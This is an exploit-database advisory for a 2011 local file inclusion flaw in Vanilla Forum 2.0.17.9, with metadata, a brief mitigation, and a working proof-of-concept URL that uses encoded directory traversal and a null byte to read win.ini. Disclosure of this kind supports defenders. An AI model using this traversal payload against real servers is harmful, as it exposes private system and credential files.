Vanilla Forum 2.0.17.9 Local File Inclusion

vendor:

Vanilla Forum

by:

AutoSec Tools

CVSS

CRITICAL

Local File Inclusion

CWE

Product Name: Vanilla Forum

Affected Version From: 2.0.17.9

Affected Version To: 2.0.17.9

Patch Exists: N/A

Related CWE: N/A

CPE: a:vanilla_forums:vanilla_forums:2.0.17.9

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows Vista + XAMPP

2011

Vanilla Forum 2.0.17.9 Local File Inclusion

A local file inclusion vulnerability in Vanilla Forum 2.0.17.9 can be exploited to include arbitrary files. The proof of concept is a URL that includes a path to the Windows win.ini file.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in file operations.

Source

Exploit-DB raw data:

------------------------------------------------------------------------
Software................Vanilla Forum 2.0.17.9
Vulnerability...........Local File Inclusion
Threat Level............Critical (4/5)
Download................http://www.vanillaforums.com/
Discovery Date..........5/15/2011
Tested On...............Windows Vista + XAMPP
------------------------------------------------------------------------
Author..................AutoSec Tools
Site....................http://www.autosectools.com/
Email...................John Leitch <john@autosectools.com>
------------------------------------------------------------------------


--Description--

A local file inclusion vulnerability in Vanilla Forum 2.0.17.9 can be
exploited to include arbitrary files.


--PoC--

http://localhost/vanilla/index.php?p=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini%00